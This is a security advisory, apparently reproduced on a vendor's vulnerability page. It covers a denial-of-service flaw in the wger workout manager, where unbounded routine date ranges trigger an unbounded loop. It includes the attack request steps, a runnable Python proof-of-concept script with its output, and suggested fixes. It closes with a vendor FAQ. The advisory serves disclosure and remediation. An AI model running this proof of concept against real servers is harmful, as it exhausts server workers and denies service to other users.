Summary
Any authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the date_sequence computation via any of the routine detail endpoints. The server iterates once per day in an unbounded while loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.
Details
The Routine model (file: wger/manager/models/routine.py) has start and end date fields with only one validation -- start must not be after end:
# File: wger/manager/models/routine.py, line 151
def clean(self):
if self.end and self.start and self.start > self.end:
raise ValidationError('The start time cannot be after the end time.')
# NO maximum duration check
The RoutineSerializer (file: wger/manager/api/serializers.py, line 43) likewise performs no validation on the delta between start and end.
The date_sequence property (line 256) uses an unbounded loop:
# File: wger/manager/models/routine.py, line 256
while current_date <= self.end:
# heavy computation per day: slots, entries, configs, logs
...
A routine with start=2000-01-01 and end=2099-12-31 produces 36,525 iterations, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:
GET /api/v2/routine/<id>/date-sequence-display/GET /api/v2/routine/<id>/date-sequence-gym/GET /api/v2/routine/<id>/structure/GET /api/v2/routine/<id>/logs/GET /api/v2/routine/<id>/stats/
PoC
Prerequisites
- One authenticated user account
- No special permissions required
Attack Steps
# 1. Create a 100-year routine
POST /api/v2/routine/
Authorization: Token <token>
Content-Type: application/json
{
"name": "DoS routine",
"start": "2000-01-01",
"end": "2099-12-31"
}
# 2. Add at least one day (to make computation non-trivial)
POST /api/v2/day/
Authorization: Token <token>
Content-Type: application/json
{
"routine": <routine_id>,
"order": 1,
"name": "Day A"
}
# 3. Trigger the expensive computation
GET /api/v2/routine/<routine_id>/date-sequence-display/
Authorization: Token <token>
Expected: HTTP 400 (routine duration exceeds maximum)
Actual: HTTP 200 with 36,525 entries after several seconds of server CPU time
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Unbounded date_sequence Denial of Service
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-400: Uncontrolled Resource Consumption
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import time
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
ATTACKER_USER = "dos_attacker_poc"
ATTACKER_PASS = "DosAttack!Poc!2025"
BANNER = """
=====================================================================
PoC: Unbounded date_sequence Denial of Service
Severity: HIGH
CWE-400: Uncontrolled Resource Consumption
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- 1. Authenticate ----
print("[1] Authenticating...")
token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not token:
print(f" Registering account...")
r = requests.post(f"{API}/register/", json={
"username": ATTACKER_USER,
"password": ATTACKER_PASS,
})
if r.status_code in (200, 201):
token = r.json().get("token")
if not token:
token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not token:
print(f"[-] Cannot authenticate. Response: {r.text[:200]}")
sys.exit(1)
print(f" Token: {token[:16]}...")
headers = api_headers(token)
# ---- 2. Create NORMAL routine (baseline) ----
print("\n[2] Creating baseline routine (30 days)...")
r = requests.post(f"{API}/routine/", headers=headers, json={
"name": "Normal 30-day routine",
"start": "2025-01-01",
"end": "2025-01-31",
})
normal_id = r.json()["id"]
r = requests.post(f"{API}/day/", headers=headers, json={
"routine": normal_id, "order": 1, "name": "Day A"
})
print(f" Routine id={normal_id} (30 days)")
start_time = time.time()
r = requests.get(
f"{API}/routine/{normal_id}/date-sequence-display/",
headers=headers,
)
baseline_time = time.time() - start_time
baseline_entries = len(r.json()) if r.status_code == 200 else 0
print(f" date-sequence-display: {r.status_code}, "
f"{baseline_entries} entries, {baseline_time:.2f}s")
# ---- 3. Create MALICIOUS routine (100 years) ----
print(f"\n[3] Creating malicious routine (100 years = 36,525 days)...")
r = requests.post(f"{API}/routine/", headers=headers, json={
"name": "DoS routine - 100 years",
"start": "2000-01-01",
"end": "2099-12-31",
})
if r.status_code != 201:
print(f" [-] Failed to create: {r.status_code} {r.text[:200]}")
sys.exit(1)
dos_id = r.json()["id"]
print(f" Routine id={dos_id}")
print(f" start=2000-01-01, end=2099-12-31")
print(f" Duration: ~36,525 days (NO validation limit!)")
r = requests.post(f"{API}/day/", headers=headers, json={
"routine": dos_id, "order": 1, "name": "DoS Day"
})
# ---- 4. ATTACK ----
print(f"\n{'='*65}")
print(f" ATTACK: Triggering date_sequence on 100-year routine")
print(f"{'='*65}")
print(f"\n GET {API}/routine/{dos_id}/date-sequence-display/")
print(f" This will iterate ~36,525 times in a while loop...")
start_time = time.time()
try:
r = requests.get(
f"{API}/routine/{dos_id}/date-sequence-display/",
headers=headers,
timeout=120,
)
elapsed = time.time() - start_time
dos_entries = len(r.json()) if r.status_code == 200 else 0
print(f"\n Response: HTTP {r.status_code}")
print(f" Entries returned: {dos_entries}")
print(f" Time elapsed: {elapsed:.2f}s")
except requests.exceptions.Timeout:
elapsed = time.time() - start_time
dos_entries = 0
print(f"\n REQUEST TIMED OUT after {elapsed:.2f}s!")
except requests.exceptions.ConnectionError:
elapsed = time.time() - start_time
dos_entries = 0
print(f"\n CONNECTION LOST after {elapsed:.2f}s!")
# ---- 5. VERIFY ----
print(f"\n{'='*65}")
print(f" VERIFICATION")
print(f"{'='*65}")
print(f"\n Baseline (30-day routine):")
print(f" Entries: {baseline_entries}")
print(f" Time: {baseline_time:.2f}s")
print(f"\n Malicious (100-year routine):")
print(f" Entries: {dos_entries}")
print(f" Time: {elapsed:.2f}s")
if elapsed > baseline_time * 5 or dos_entries > 10000:
slowdown = elapsed / baseline_time if baseline_time > 0 else float('inf')
print(f"\n Slowdown factor: {slowdown:.1f}x")
print("""
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| No maximum duration is enforced on routines. |
| The date_sequence property loops once per day with no |
| upper bound. A 100-year routine forces ~36,525 |
| iterations of expensive O(days x slots x configs) work. |
| A single request can exhaust a server worker thread. |
+----------------------------------------------------------+
""")
else:
print("\n Response was fast - server may have limits or caching.")
Proof of Concept Output
=====================================================================
PoC: Unbounded date_sequence Denial of Service
Severity: HIGH
CWE-400: Uncontrolled Resource Consumption
=====================================================================
[1] Authenticating...
Registering account...
Token: 2ffbb18316fc4e0f...
[2] Creating baseline routine (30 days)...
Routine id=5 (30 days)
date-sequence-display: 200, 31 entries, 0.02s
[3] Creating malicious routine (100 years = 36,525 days)...
Routine id=6
start=2000-01-01, end=2099-12-31
Duration: ~36,525 days (NO validation limit!)
=================================================================
ATTACK: Triggering date_sequence on 100-year routine
=================================================================
GET http://localhost/api/v2/routine/6/date-sequence-display/
This will iterate ~36,525 times in a while loop...
Response: HTTP 200
Entries returned: 36525
Time elapsed: 3.06s
=================================================================
VERIFICATION
=================================================================
Baseline (30-day routine):
Entries: 31
Time: 0.02s
Malicious (100-year routine):
Entries: 36525
Time: 3.06s
Slowdown factor: 138.4x
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| No maximum duration is enforced on routines. |
| The date_sequence property loops once per day with no |
| upper bound. A 100-year routine forces ~36,525 |
| iterations of expensive O(days x slots x configs) work. |
| A single request can exhaust a server worker thread. |
+----------------------------------------------------------+
1. Add maximum duration validation in the model
# File: wger/manager/models/routine.py
MAX_ROUTINE_DAYS = 365
def clean(self):
if self.end and self.start:
if self.start > self.end:
raise ValidationError('Start cannot be after end.')
if (self.end - self.start).days > self.MAX_ROUTINE_DAYS:
raise ValidationError(
f'Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.'
)
2. Add the same validation in the serializer
# File: wger/manager/api/serializers.py
class RoutineSerializer(serializers.ModelSerializer):
def validate(self, data):
start = data.get('start')
end = data.get('end')
if start and end and (end - start).days > 365:
raise serializers.ValidationError(
'Routine cannot span more than 365 days.'
)
return data
3. Add a safety cap in date_sequence (defence-in-depth)
# File: wger/manager/models/routine.py, inside date_sequence property
MAX_SEQUENCE_DAYS = 400
count = 0
while current_date <= self.end:
count += 1
if count > MAX_SEQUENCE_DAYS:
break
...
Impact
- Worker Thread Exhaustion: Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.
- Amplification with Slots: The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.
- No Authentication Barrier Beyond Login: Any registered user can perform this attack. No elevated permissions are required.
- Cache Bypass: The first request for each routine (or after
ROUTINE_CACHE_TTLexpires) always runs the full computation. An attacker can create new routines to avoid cache hits. - Five Affected Endpoints:
date-sequence-display,date-sequence-gym,structure,logs, andstatsall trigger the same unbounded loop.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
GHSA-V25J-WQCW-FVHJ has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
In the interim: Apply input size limits and request rate limiting. Reject input that exceeds reasonable bounds before processing begins.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-V25J-WQCW-FVHJ? GHSA-V25J-WQCW-FVHJ is a medium-severity uncontrolled resource consumption vulnerability in wger (pip), affecting versions <= 2.5. No fixed version is listed yet. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is GHSA-V25J-WQCW-FVHJ? GHSA-V25J-WQCW-FVHJ has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wger are affected by GHSA-V25J-WQCW-FVHJ? wger (pip) versions <= 2.5 is affected.
- Is there a fix for GHSA-V25J-WQCW-FVHJ? No fixed version is listed for GHSA-V25J-WQCW-FVHJ yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is GHSA-V25J-WQCW-FVHJ exploitable, and should I be worried? Whether GHSA-V25J-WQCW-FVHJ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-V25J-WQCW-FVHJ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-V25J-WQCW-FVHJ? No fixed version is listed yet. In the interim: Apply input size limits and request rate limiting. Reject input that exceeds reasonable bounds before processing begins.